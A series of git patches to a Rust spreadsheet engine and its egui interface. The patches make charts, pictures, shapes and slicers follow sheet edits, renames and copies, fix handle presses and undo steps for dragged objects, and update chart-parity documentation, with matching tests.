--- a/crates/engine/src/cmd/sheet.rs +++ b/crates/engine/src/cmd/sheet.rs @@ -141,14 +141,7 @@ fn shift_sheet_features(sh: &mut Sheet, axis: Axis, at: u32, count: u32, insert: }; // Floating objects: snapshot their bottom-right corners against the pre-shift geometry, so a // re-fit after the shift measures against the grid the object actually lands on. - let obj_corners: Vec<(u32, u32, f32, f32)> = sh - .charts - .iter() - .map(|o| &o.anchor) - .chain(sh.images.iter().map(|o| &o.anchor)) - .chain(sh.shapes.iter().map(|o| &o.anchor)) - .map(|a| anchor_corner(sh, a)) - .collect(); + let obj_corners: Vec<(u32, u32, f32, f32)> = sh.object_anchors().map(|a| anchor_corner(sh, a)).collect(); // Line info. let lines = if axis == Axis::Rows { &mut sh.rows } else { &mut sh.cols }; let old = std::mem::take(lines); @@ -193,22 +186,13 @@ fn shift_sheet_features(sh: &mut Sheet, axis: Axis, at: u32, count: u32, insert: std::mem::take(&mut sh.cell_pictures).into_iter().filter_map(|(c, v)| map_cell(c).filter(CellRef::is_valid).map(|c| (c, v))).collect(); sh.comments = std::mem::take(&mut sh.comments).into_iter().filter_map(|(c, v)| map_cell(c).map(|c| (c, v))).collect(); sh.hyperlinks = std::mem::take(&mut sh.hyperlinks).into_iter().filter_map(|(c, v)| map_cell(c).map(|c| (c, v))).collect(); - // Floating objects follow their anchor lines per their [`AnchorMode`]. Corners were snapshotted - // as charts ++ images ++ shapes, matching the three slices below. New anchors are computed - // against the post-shift grid first (the re-fit needs its sizes), then written back. - let anchored = |ui: usize, a: Anchor| -> Anchor { obj_corners.get(ui).map_or(a, |&corner| shift_anchor(sh, a, corner, axis, at, &map_line)) }; - let new_charts: Vec = sh.charts.iter().enumerate().map(|(i, o)| anchored(i, o.anchor)).collect(); - let new_images: Vec = sh.images.iter().enumerate().map(|(i, o)| anchored(new_charts.len() + i, o.anchor)).collect(); - let base = new_charts.len() + new_images.len(); - let new_shapes: Vec = sh.shapes.iter().enumerate().map(|(i, o)| anchored(base + i, o.anchor)).collect(); - for (o, a) in sh.charts.iter_mut().zip(new_charts) { - o.anchor = a; - } - for (o, a) in sh.images.iter_mut().zip(new_images) { - o.anchor = a; - } - for (o, a) in sh.shapes.iter_mut().zip(new_shapes) { - o.anchor = a; + // Floating objects follow their anchor lines per their [`AnchorMode`]. New anchors are + // computed against the post-shift grid first (the re-fit needs its sizes), then written back + // in the same `object_anchors` order the corners were snapshotted in. + let new_anchors: Vec = + sh.object_anchors().zip(&obj_corners).map(|(a, &corner)| shift_anchor(sh, *a, corner, axis, at, &map_line)).collect(); + for (a, n) in sh.object_anchors_mut().zip(new_anchors) { + *a = n; } sh.sparklines.retain_mut(|sp| match map_cell(sp.cell) { Some(c) => { @@ -231,7 +215,8 @@ fn shift_sheet_features(sh: &mut Sheet, axis: Axis, at: u32, count: u32, insert: } } -/// Rewrites every formula reference (and chart series) for a structural edit on `target`. +/// Rewrites every formula reference (chart series included), sparkline source and PivotTable +/// source for a structural edit on `target`. pub(super) fn rewrite(cx: &mut Ctx, target: &str, e: &Edit) { cx.edits.push((target.to_string(), e.clone())); let wb = &mut cx.wb; @@ -245,15 +230,6 @@ pub(super) fn rewrite(cx: &mut Ctx, target: &str, e: &Edit) { Err(_) => text.to_string(), } }; - for ch in sh.charts.iter_mut() { - // The source block moves with its cells; one that was deleted is dropped. - ch.source = ch.source.as_deref().map(fix).filter(|s| !s.contains("#REF!")); - for se in ch.series.iter_mut() { - se.values = fix(&se.values); - se.categories = se.categories.as_deref().map(fix); - se.name = se.name.as_deref().map(fix); - } - } for sp in sh.sparklines.iter_mut() { sp.source = fix(&sp.source); } diff --git a/crates/engine/src/cmd/sheet/tabs.rs b/crates/engine/src/cmd/sheet/tabs.rs index 13956e35c..2f87294bb 100644 --- a/crates/engine/src/cmd/sheet/tabs.rs +++ b/crates/engine/src/cmd/sheet/tabs.rs @@ -63,6 +63,8 @@ pub(super) fn delete_sheet(s: &mut Session, p: &Json) -> Result { } } } + // Chart series into the deleted sheet become #REF!, like formulas. + crate::cmd::edit::rewrite_cell_links(&mut cx.wb, |_, e| gridcraft_formula::adjust::delete_sheet(e, &name, &order)); cx.wb.names.retain(|n| n.scope != Some(i)); for n in cx.wb.names.iter_mut() { if let Some(sc) = n.scope.as_mut() @@ -116,17 +118,7 @@ pub(super) fn rename_sheet(s: &mut Session, p: &Json) -> Result { } } } - let fix = |t: &str| { - gridcraft_formula::parse(t) - .map(|e| gridcraft_formula::print(&gridcraft_formula::adjust::rename_sheet(e, &old, &name))) - .unwrap_or_else(|_| t.to_string()) - }; for ch in sh.charts.iter_mut() { - for se in ch.series.iter_mut() { - se.values = fix(&se.values); - se.categories = se.categories.as_deref().map(fix); - se.name = se.name.as_deref().map(fix); - } // A PivotChart follows its PivotTable's sheet. if let Some((sheet, pivot)) = ch.pivot.as_deref().and_then(crate::pivot::parse_chart_link) && sheet.eq_ignore_ascii_case(&old) @@ -135,6 +127,7 @@ pub(super) fn rename_sheet(s: &mut Session, p: &Json) -> Result { } } } + crate::cmd::edit::rewrite_cell_links(&mut cx.wb, |_, e| gridcraft_formula::adjust::rename_sheet(e, &old, &name)); for n in cx.wb.names.iter_mut() { if let Ok(e) = gridcraft_formula::parse_name(&n.formula) { n.formula = gridcraft_formula::print(&gridcraft_formula::adjust::rename_sheet(e, &old, &name)); @@ -170,6 +163,18 @@ pub(super) fn move_sheet(s: &mut Session, p: &Json) -> Result { sh.name = name; sh.tables.clear(); // table names must be unique sh.preserved = None; // kept file content (form controls, OLE objects…) stays with the original + // Object ids are unique across the workbook (selection and the `{kind, id}` commands + // rely on it), so the copied objects get fresh ones. + let mut next = cx.wb.next_object_id(); + let mut fresh = || { + let id = next; + next = next.saturating_add(1); + id + }; + sh.charts.iter_mut().for_each(|o| o.id = fresh()); + sh.images.iter_mut().for_each(|o| o.id = fresh()); + sh.shapes.iter_mut().for_each(|o| o.id = fresh()); + sh.slicers.iter_mut().for_each(|o| o.id = fresh()); let at = to.min(n); // The copy gets its own copies of the sheet's names, referring to the copy. let copies: Vec = cx diff --git a/crates/engine/src/tests/objects.rs b/crates/engine/src/tests/objects.rs index ea4dfb0e8..d0c2eba44 100644 --- a/crates/engine/src/tests/objects.rs +++ b/crates/engine/src/tests/objects.rs @@ -103,3 +103,90 @@ fn hostile_object_params_are_refused() { let a = sheet(&s, 0).object_anchor(o).unwrap(); assert!(a.dx.is_finite() && a.dy.is_finite() && a.width <= 10000.0 && a.height >= 0.0, "{a:?}"); } + +fn cell_of(s: &Session, o: ObjRef) -> String { + sheet(s, 0).object_anchor(o).unwrap().cell.a1() +} + +#[test] +fn every_kind_follows_row_and_column_edits_and_sorts() { + let mut s = s(); + let objs = every_kind(&mut s); + // Anchors: chart D2, picture D18, shape H18, slicer L2. + s.execute("object.setAnchorMode", json!({"kind": "shape", "id": objs[2].id, "mode": "absolute"})).unwrap(); + let cells = |s: &Session| objs.map(|o| cell_of(s, o)); + assert_eq!(cells(&s), ["D2", "D18", "H18", "L2"]); + s.execute("home.insertRows", json!({"rows": "10:11"})).unwrap(); + assert_eq!(cells(&s), ["D2", "D20", "H18", "L2"], "rows inserted above move the objects below them; an absolute shape stays"); + s.execute("home.insertColumns", json!({"cols": "C:C"})).unwrap(); + assert_eq!(cells(&s), ["E2", "E20", "H18", "M2"]); + s.execute("home.deleteColumns", json!({"cols": "C:C"})).unwrap(); + s.execute("home.deleteRows", json!({"rows": "10:11"})).unwrap(); + assert_eq!(cells(&s), ["D2", "D18", "H18", "L2"]); + // Sorting moves a picture anchored inside the sorted block with its row. + s.execute("range.setValues", json!({"range": "T1", "values": [["k"], [3], [1], [2]]})).unwrap(); + let pic = ObjRef::new(ObjKind::Image, super::add_image(&mut s, "T2", AnchorMode::MoveAndSize)); + s.execute("selection.set", json!({"range": "T1:T4"})).unwrap(); + s.execute("data.sortAscending", json!({"header": true, "column": "T"})).unwrap(); + assert_eq!(cell_of(&s, pic), "T4", "the row holding 3 sorts last"); + s.execute("edit.undo", json!({})).unwrap(); + assert_eq!(cell_of(&s, pic), "T2"); +} + +#[test] +fn slicers_follow_inserted_rows_like_other_objects() { + let mut s = s(); + let objs = every_kind(&mut s); + s.execute("home.insertRows", json!({"rows": "1:2"})).unwrap(); + assert_eq!(cell_of(&s, objs[3]), "L4"); + s.execute("edit.undo", json!({})).unwrap(); + assert_eq!(cell_of(&s, objs[3]), "L2"); +} + +#[test] +fn chart_series_follow_cut_moves_renames_and_sheet_deletes() { + let mut s = s(); + s.execute("range.setValues", json!({"range": "A1", "values": [[3], [5], [2], [8]]})).unwrap(); + let chart = id_of(&s.execute("insert.chart", json!({"range": "A1:A4", "type": "column"})).unwrap(), "chart"); + let values = |s: &Session| sheet(s, 0).charts.iter().find(|c| c.id == chart).map(|c| c.series[0].values.clone()).unwrap_or_default(); + s.execute("edit.cut", json!({"range": "A1:A4"})).unwrap(); + s.execute("edit.paste", json!({"at": "F2"})).unwrap(); + assert!(values(&s).contains("$F$2:$F$5"), "a cut-move takes the series with the cells: {}", values(&s)); + s.execute("home.insertSheet", json!({"name": "Other"})).unwrap(); + s.execute("range.setValues", json!({"range": "A1", "values": [[1], [2], [3]]})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().charts[0].series[0].values = "Other!$A$1:$A$3".into(); + s.execute("sheet.rename", json!({"sheet": 1, "name": "Inputs"})).unwrap(); + assert_eq!(values(&s), "Inputs!$A$1:$A$3"); + s.execute("home.deleteSheet", json!({"sheet": 1})).unwrap(); + assert!(values(&s).contains("#REF!"), "a series into a deleted sheet becomes #REF!: {}", values(&s)); + s.execute("edit.undo", json!({})).unwrap(); + assert_eq!(values(&s), "Inputs!$A$1:$A$3"); +} + +#[test] +fn a_copied_sheet_gives_its_objects_fresh_ids() { + let mut s = s(); + let objs = every_kind(&mut s); + s.execute("sheet.move", json!({"sheet": 0, "to": 1, "copy": true})).unwrap(); + let wb = &s.doc().unwrap().wb; + let ids_of = |sh: &Sheet| -> Vec { + sh.charts + .iter() + .map(|c| c.id) + .chain(sh.images.iter().map(|c| c.id)) + .chain(sh.shapes.iter().map(|c| c.id)) + .chain(sh.slicers.iter().map(|c| c.id)) + .collect() + }; + let mut ids: Vec = wb.sheets.iter().flat_map(|sh| ids_of(sh)).collect(); + assert_eq!(ids.len(), 2 * objs.len()); + ids.sort_unstable(); + ids.dedup(); + assert_eq!(ids.len(), 2 * objs.len(), "every object id stays unique across the workbook"); + let copy = sheet(&s, 1); + for (o, id) in objs.iter().zip(ids_of(copy)) { + assert_eq!(copy.object_ref(id).map(|c| c.kind), Some(o.kind)); + } + assert!(s.doc().unwrap().wb.next_object_id() > *ids.last().unwrap_or(&0)); +} From de8f1854f136f5bf285e2eb3facbe1b855dcfdab Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 05:52:42 -0400 Subject: [PATCH 011/167] Objects: bubble sizes follow edits like the other series references `rewrite_cell_links` rewrote a chart series' values, categories and name but not its bubble sizes, so inserting or deleting lines, a cut-move or a sheet rename left a bubble chart's sizes pointing at the old cells. They are now rewritten with the rest. Test: bubble sizes through an inserted row, a cut-move and a sheet rename. --- crates/engine/src/cmd/edit/paste_special.rs | 13 +++++++------ crates/engine/src/tests/objects.rs | 17 +++++++++++++++++ 2 files changed, 24 insertions(+), 6 deletions(-) diff --git a/crates/engine/src/cmd/edit/paste_special.rs b/crates/engine/src/cmd/edit/paste_special.rs index 6c3f6baa4..c9e296ba5 100644 --- a/crates/engine/src/cmd/edit/paste_special.rs +++ b/crates/engine/src/cmd/edit/paste_special.rs @@ -358,12 +358,12 @@ pub(crate) fn rewrite_all_formulas(wb: &mut gridcraft_model::Workbook, target: & rewrite_cell_links(wb, |host, expr| gridcraft_formula::adjust::adjust(expr, host, target, e)); } -/// Runs `f` over every reference a floating object holds (a chart's series values, categories -/// and name, and the source block it was made from). Every edit that moves references calls it: -/// inserting and deleting lines and cells and cut-moves (through [`rewrite_all_formulas`]), and -/// renaming and deleting sheets. `f` maps a reference held by an object on the sheet named `host` -/// to its new form; text that does not parse is kept. A source block that no longer exists is -/// dropped. +/// Runs `f` over every reference a floating object holds (a chart's series values, categories, +/// name and bubble sizes, and the source block it was made from). Every edit that moves +/// references calls it: inserting and deleting lines and cells and cut-moves (through +/// [`rewrite_all_formulas`]), and renaming and deleting sheets. `f` maps a reference held by an +/// object on the sheet named `host` to its new form; text that does not parse is kept. A source +/// block that no longer exists is dropped. pub(crate) fn rewrite_cell_links(wb: &mut gridcraft_model::Workbook, f: impl Fn(&str, gridcraft_formula::Expr) -> gridcraft_formula::Expr) { for si in 0..wb.sheets.len() { let Some(host) = wb.sheets.get(si).filter(|s| !s.charts.is_empty()).map(|s| s.name.clone()) else { continue }; @@ -380,6 +380,7 @@ pub(crate) fn rewrite_cell_links(wb: &mut gridcraft_model::Workbook, f: impl Fn( se.values = fix(&se.values); se.categories = se.categories.as_deref().map(fix); se.name = se.name.as_deref().map(fix); + se.bubble_sizes = se.bubble_sizes.as_deref().map(fix); } } } diff --git a/crates/engine/src/tests/objects.rs b/crates/engine/src/tests/objects.rs index d0c2eba44..7082b9054 100644 --- a/crates/engine/src/tests/objects.rs +++ b/crates/engine/src/tests/objects.rs @@ -190,3 +190,20 @@ fn a_copied_sheet_gives_its_objects_fresh_ids() { } assert!(s.doc().unwrap().wb.next_object_id() > *ids.last().unwrap_or(&0)); } + +#[test] +fn bubble_sizes_follow_edits_like_the_other_series_references() { + let mut s = s(); + s.execute("range.setValues", json!({"range": "A1", "values": [[1, 3, 10], [2, 5, 20], [3, 2, 30]]})).unwrap(); + let chart = id_of(&s.execute("insert.chart", json!({"range": "A1:B3", "type": "bubble"})).unwrap(), "chart"); + std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().charts.iter_mut().find(|c| c.id == chart).unwrap().series[0] + .bubble_sizes = Some("Sheet1!$C$1:$C$3".into()); + let sizes = |s: &Session| sheet(s, 0).charts.iter().find(|c| c.id == chart).and_then(|c| c.series[0].bubble_sizes.clone()).unwrap_or_default(); + s.execute("home.insertRows", json!({"rows": "1:1"})).unwrap(); + assert_eq!(sizes(&s), "Sheet1!$C$2:$C$4", "an inserted row moves the bubble sizes with their cells"); + s.execute("edit.cut", json!({"range": "C2:C4"})).unwrap(); + s.execute("edit.paste", json!({"at": "F2"})).unwrap(); + assert_eq!(sizes(&s), "Sheet1!$F$2:$F$4", "a cut-move takes the bubble sizes with the cells"); + s.execute("sheet.rename", json!({"sheet": 0, "name": "Data"})).unwrap(); + assert_eq!(sizes(&s), "Data!$F$2:$F$4", "a renamed sheet is renamed in the bubble sizes"); +} From 028ce2b4179d987dedf9f4ec2016485280d6b1f8 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 06:02:30 -0400 Subject: [PATCH 012/167] Objects: a resize handle under the headers leaves the press to them A selected object's handles reach a few points outside it, and a press was matched against them before any check of where it landed, so a press on the column or row header beside an object at the sheet's edge resized the object instead of selecting the column or row. The cursor already ignored handles outside the cells. `chartview::selected_handle` finds the selected object's handle under a point only over the cell area, as `hit` does, and not while objects are hidden; the press and the cursor both use it. Test: presses within a handle's reach over the column header and the row header neither move nor resize the object. --- crates/ui-egui/src/chartview.rs | 13 +++++++++++++ crates/ui-egui/src/grid/cursor.rs | 6 +----- crates/ui-egui/src/grid/interact.rs | 5 +---- crates/ui-egui/tests/it/objects.rs | 24 ++++++++++++++++++++++++ 4 files changed, 39 insertions(+), 9 deletions(-) diff --git a/crates/ui-egui/src/chartview.rs b/crates/ui-egui/src/chartview.rs index 36604c5b7..efa19d3d7 100644 --- a/crates/ui-egui/src/chartview.rs +++ b/crates/ui-egui/src/chartview.rs @@ -505,6 +505,19 @@ pub fn object_rect(geo: &Geo, sh: &Sheet, o: ObjRef) -> Option { sh.object_anchor(o).map(|a| anchor_rect(geo, sh, &a)) } +/// The resize handle of the selected object under `p`, with the object and its rect. Handles +/// reach a little outside their object, so they win over [`hit`], but like it only over the cell +/// area: a handle that lies under the headers, the formula bar or a scroll bar leaves the press +/// to them. Nothing while objects are hidden. +pub fn selected_handle(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Rect, crate::objects::Handle)> { + if !geo.cells.contains(p) || app.session.active().is_some_and(|d| objects_hidden(&d.wb)) { + return None; + } + let o = app.selected_object?; + let r = object_rect(geo, sh, o)?; + crate::objects::handle_at(r, p).map(|h| (o, r, h)) +} + /// The topmost object under `p` and its rect: slicers paint on top, so they are hit first, then /// charts, pictures and shapes, each from the top of its stack. Nothing is hit outside the cell /// area or while objects are hidden. diff --git a/crates/ui-egui/src/grid/cursor.rs b/crates/ui-egui/src/grid/cursor.rs index e15c4800a..f93e59cb6 100644 --- a/crates/ui-egui/src/grid/cursor.rs +++ b/crates/ui-egui/src/grid/cursor.rs @@ -78,11 +78,7 @@ fn hover_cursor(app: &SheetApp, ctx: &egui::Context, resp: &egui::Response, poin let on_cur_border = on_border(cur_rect, p) && border_panes.iter().any(|r| r.contains(p)); // The selected object's handles resize it; any object's body moves it. let idle = app.grid.drag == Drag::None && app.editor.is_none(); - let object_handle = if idle && in_cells { - app.selected_object.and_then(|o| crate::chartview::object_rect(geo, sh, o)).and_then(|r| crate::objects::handle_at(r, p)) - } else { - None - }; + let object_handle = if idle { crate::chartview::selected_handle(app, geo, sh, p).map(|(.., h)| h) } else { None }; let on_object = idle && crate::chartview::hit(app, geo, sh, p).is_some(); if let Some(h) = object_handle { ctx.set_cursor_icon(h.cursor(geo.rtl)); diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 5b8eade31..84d8dbc33 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -124,10 +124,7 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo // A drag is recognised only after the pointer has moved, so grab the object where the press began. let at = if primary_drag { pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos) } else { pos }; // The selected object's handles reach a little outside it, so they win over hit-testing. - let on_handle = app.selected_object.and_then(|o| { - let r = crate::chartview::object_rect(geo, sh, o)?; - at.and_then(|p| crate::objects::handle_at(r, p)).map(|_| (o, r)) - }); + let on_handle = at.and_then(|p| crate::chartview::selected_handle(app, geo, sh, p)).map(|(o, r, _)| (o, r)); if let Some(p) = at && let Some((obj, rect)) = on_handle.or_else(|| crate::chartview::hit(app, geo, sh, p)) { diff --git a/crates/ui-egui/tests/it/objects.rs b/crates/ui-egui/tests/it/objects.rs index 733a1427a..b9912559c 100644 --- a/crates/ui-egui/tests/it/objects.rs +++ b/crates/ui-egui/tests/it/objects.rs @@ -300,3 +300,27 @@ fn on_a_right_to_left_sheet_the_mirrored_handles_resize() { assert!((after.left() - (before.left() - 20.0)).abs() < 1.0 && (after.right() - before.right()).abs() < 1.0, "{before:?} {after:?}"); assert!((after.bottom() - (before.bottom() + 16.0)).abs() < 1.0 && (after.top() - before.top()).abs() < 1.0, "{before:?} {after:?}"); } + +#[test] +fn a_handle_under_the_headers_does_not_take_the_press() { + let (mut h, o) = fixture(); + h.state_mut().run("object.move", json!({"kind": "shape", "id": o.shape.id, "at": "A1", "dx": 0, "dy": 0})).unwrap(); + h.run_steps(2); + let before = rect(&h, o.shape); + click(&mut h, before.center()); + assert_eq!(h.state().selected_object, Some(o.shape)); + let cells = h.state().grid.cells_rect.unwrap(); + assert_eq!(before.left_top(), cells.left_top(), "the shape's top-left handle sits on the header corner"); + // Within the top-left handle's reach, but over the column header: the press is the header's. + let grab = Handle::TopLeft.pos(before) + vec2(4.0, -4.0); + assert!(grab.y < cells.top()); + drag(&mut h, grab, grab + vec2(30.0, 40.0)); + assert_eq!(rect(&h, o.shape), before, "the shape is neither moved nor resized"); + assert_eq!(h.state().selected_object, None, "the press went to the column header"); + // Within the left handle's reach, but over the row header. + let grab = Handle::Left.pos(before) + vec2(-4.0, 0.0); + assert!(grab.x < cells.left()); + h.state_mut().selected_object = Some(o.shape); + drag(&mut h, grab, grab + vec2(40.0, 0.0)); + assert_eq!(rect(&h, o.shape), before, "the shape is neither moved nor resized"); +} From 4b805d64bc0975413d8289d7f2a9111795541c0d Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 06:19:13 -0400 Subject: [PATCH 013/167] Objects: each drag of an object is its own undo step A drag merges its frames into one undo step by dropping a new step whose label matches the one before it. Its first frame did the same, so a second drag of an object (a move after a move, or a resize after a move) merged into the first drag's "Move Object" step, and one undo took back both. `Drag::Object` records whether the drag has made its step; only the later frames of the same drag merge into it. Test: a move and then a resize of a picture take two undos to reverse, the first restoring the moved picture. --- crates/ui-egui/src/grid.rs | 3 +++ crates/ui-egui/src/grid/interact.rs | 16 ++++++++++++---- crates/ui-egui/tests/it/objects.rs | 20 ++++++++++++++++++++ 3 files changed, 35 insertions(+), 4 deletions(-) diff --git a/crates/ui-egui/src/grid.rs b/crates/ui-egui/src/grid.rs index 0e20d7e0b..85ff53b07 100644 --- a/crates/ui-egui/src/grid.rs +++ b/crates/ui-egui/src/grid.rs @@ -137,6 +137,9 @@ pub enum Drag { start: Pos2, orig: (CellRef, f32, f32, f32, f32), handle: Option, + /// This drag has made its undo step; later frames merge into it, and never into the + /// step of an earlier drag. + stepped: bool, }, } diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 84d8dbc33..a7bbede7e 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -134,7 +134,7 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo } if primary_drag && let Some(a) = sh.object_anchor(obj) { let handle = crate::objects::handle_at(rect, p); - app.grid.drag = Drag::Object { obj, start: p, orig: (a.cell, a.dx, a.dy, a.width, a.height), handle }; + app.grid.drag = Drag::Object { obj, start: p, orig: (a.cell, a.dx, a.dy, a.width, a.height), handle, stepped: false }; // The first recognised drag frame already holds movement away from the press. if let Some(now) = pos { drag_object(app, geo, sh, now); @@ -956,9 +956,9 @@ pub(super) fn hidden_row_edge(geo: &Geo, sh: &Sheet, y: f32) -> Option { } /// Moves the dragged object, or resizes it from the grabbed handle, to follow the pointer at `p` -/// (logical coordinates). The whole drag coalesces into one undo step. +/// (logical coordinates). The whole drag coalesces into one undo step of its own. fn drag_object(app: &mut SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) { - let Drag::Object { obj, start, orig, handle } = app.grid.drag.clone() else { return }; + let Drag::Object { obj, start, orig, handle, stepped } = app.grid.drag.clone() else { return }; let d = (p - start) / geo.z; let (cell, dx, dy, w, h) = orig; let x0 = sh.col_left(cell.col) as f32 + dx; @@ -977,8 +977,16 @@ fn drag_object(app: &mut SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) { "dx": x0 - sh.col_left(nc.col) as f32, "dy": y0 - sh.row_top(nc.row) as f32, "width": x1 - x0, "height": y1 - y0, }); + let revision = app.session.active().map(|d| d.revision); let _ = app.session.run("object.move", params); - coalesce_last_undo(app); + if stepped { + coalesce_last_undo(app); + } else if app.session.active().map(|d| d.revision) != revision + && let Drag::Object { stepped, .. } = &mut app.grid.drag + { + // The first step of this drag stays apart from an earlier drag's step of the same name. + *stepped = true; + } } /// A click on a hyperlink. References select; web and e-mail addresses ask first (the dialog's diff --git a/crates/ui-egui/tests/it/objects.rs b/crates/ui-egui/tests/it/objects.rs index b9912559c..521a2f44c 100644 --- a/crates/ui-egui/tests/it/objects.rs +++ b/crates/ui-egui/tests/it/objects.rs @@ -324,3 +324,23 @@ fn a_handle_under_the_headers_does_not_take_the_press() { drag(&mut h, grab, grab + vec2(40.0, 0.0)); assert_eq!(rect(&h, o.shape), before, "the shape is neither moved nor resized"); } + +#[test] +fn each_drag_of_an_object_is_its_own_undo_step() { + let (mut h, o) = fixture(); + let start = rect(&h, o.image); + click(&mut h, start.center()); + drag(&mut h, start.center(), start.center() + vec2(30.0, 20.0)); + let moved = rect(&h, o.image); + assert!((moved.min - start.min - vec2(30.0, 20.0)).length() < 1.0); + let grab = Handle::BottomRight.pos(moved); + drag(&mut h, grab, grab + vec2(24.0, 18.0)); + let resized = rect(&h, o.image); + assert!((resized.size() - moved.size() - vec2(24.0, 18.0)).length() < 1.0); + h.state_mut().run("edit.undo", json!({})).unwrap(); + h.run_steps(2); + assert_eq!(rect(&h, o.image), moved, "one undo takes back the resize only"); + h.state_mut().run("edit.undo", json!({})).unwrap(); + h.run_steps(2); + assert_eq!(rect(&h, o.image), start, "a second undo takes back the move"); +} From 977c895378b7fad28ad5fd376d6f342aa52ed675 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 09:21:55 -0400 Subject: [PATCH 014/167] Objects: the parity and gap docs no longer list chart resizing as missing MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit gaps.md (§4), target-app-parity.md (the Essentials tier's work, the Mainstream chart row, the interaction discount and the Essentials chart task) and chart-parity.md (the element table and the work list) still described charts as impossible to resize (#190). Charts move and resize from eight handles like every floating object, so those statements now say so; the 2026-10-10 revision rows and the 10-10 re-check stay as history. Scores and the 40-60 h chart estimate are unchanged (resizing was 1-2 h, within the rounding). --- docs/chart-parity.md | 18 +++++++++--------- docs/gaps.md | 7 ++++--- docs/target-app-parity.md | 11 ++++++----- 3 files changed, 19 insertions(+), 17 deletions(-) diff --git a/docs/chart-parity.md b/docs/chart-parity.md index 89358dd30..9bc230e00 100644 --- a/docs/chart-parity.md +++ b/docs/chart-parity.md @@ -1,6 +1,6 @@ # Chart parity -> **Last reviewed:** 2026-10-18 · **Last updated:** 2026-10-29 · **Change:** minor (selected chart source outlines stay beneath floating objects) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-18 · **Last updated:** 2026-10-31 · **Change:** minor (charts resize from eight handles; earlier: selected chart source outlines stay beneath floating objects) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's chart types and chart elements against GridCraft. Part of [target-app-parity.md](target-app-parity.md). **Breadth ~50%, ready ~30%, 40–60 h** (estimated). @@ -37,7 +37,7 @@ Sources: `crates/model/src/features.rs` (`ChartKind`, `Chart`, `Series`), `crate | Element | Excel | GridCraft | |---|---|---| -| Move and resize the chart object | yes | yes (corner handle, Format Chart Area Size fields) | +| Move and resize the chart object | yes | yes (eight handles, each moving only its own edges; Format Chart Area Size fields) (#190) | | Selected chart source-data outline | visible on uncovered cells, beneath floating objects | painted above cells and below charts, shapes, pictures and slicers; retains pane clipping and right-to-left cell geometry (#2861) | | Chart title, axis titles | text, linked to cells, full formatting | text only | | Legend | position, overlay, formatting, per-entry delete | position only | @@ -79,18 +79,18 @@ are (#1686). Such series get no `numCache`/`strCache` on save (#1690). ## Work (40–60 h) -1. Chart resizing (#190): 1–2 h. -2. Preserve unmodelled chart XML on round-trip (keep the original part, patch only edited fields): 6–10 h. -3. Axis options, label options, gridlines per axis, legend formatting: 10–15 h. -4. Error bars; Format Trendline pane (trendlines landed): 4–6 h. -5. Per-element Format pane parity, smoothed lines, exploded pie, pie/bar of pie, 100% variants: 8–12 h. -6. 3-D column/bar/pie/area, surface and contour, Pareto: 8–12 h. -7. Chart sheets, templates and PivotChart field buttons: 5–8 h. Filled map: owner decision on boundary data. +1. Preserve unmodelled chart XML on round-trip (keep the original part, patch only edited fields): 6–10 h. +2. Axis options, label options, gridlines per axis, legend formatting: 10–15 h. +3. Error bars; Format Trendline pane (trendlines landed): 4–6 h. +4. Per-element Format pane parity, smoothed lines, exploded pie, pie/bar of pie, 100% variants: 8–12 h. +5. 3-D column/bar/pie/area, surface and contour, Pareto: 8–12 h. +6. Chart sheets, templates and PivotChart field buttons: 5–8 h. Filled map: owner decision on boundary data. ## Revision history | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Charts move and resize from eight handles, each moving only its own edges (#190); resizing leaves the work list (1–2 h, within the 40–60 h rounding) | | 2026-10-29 | minor | Selected charts highlight their source cells beneath floating objects, so the blue outline no longer crosses the chart; uncovered source cells remain highlighted (#2861) | | 2026-10-24 | minor | 100% Stacked Area: inserted from the ribbon and All Charts, drawn as shares of each category's total, read and written as `percentStacked` | | 2026-10-18 | trivial | Stale notes: stock/combo, treemap/sunburst, box and waterfall kinds survive XLSX round-trip (PRs #158, #161) | diff --git a/docs/gaps.md b/docs/gaps.md index 97299acda..ae3759269 100644 --- a/docs/gaps.md +++ b/docs/gaps.md @@ -1,6 +1,6 @@ # Gaps -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-24 · **Change:** minor (§8: PivotTable Enable show details; earlier: PivotTable Show Details) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (§4: chart resizing is no longer a gap; earlier: §8: PivotTable Enable show details; earlier: PivotTable Show Details) · **Target:** Microsoft Excel (Microsoft 365) Every known shortfall against Excel, one entry each, ranked by user impact (what blocks someone using GridCraft for real work first). This is the work list: pick from the top, check the open @@ -45,9 +45,9 @@ No alpha blockers: every core workflow passes the [alpha gate](roadmap.md#alpha- ### 4. Charts lose options on round trip; shallow chart model (F, FF) - **Missing:** axis scaling, label options, error bars, per-point formatting. - **Evidence:** `Chart` holds only 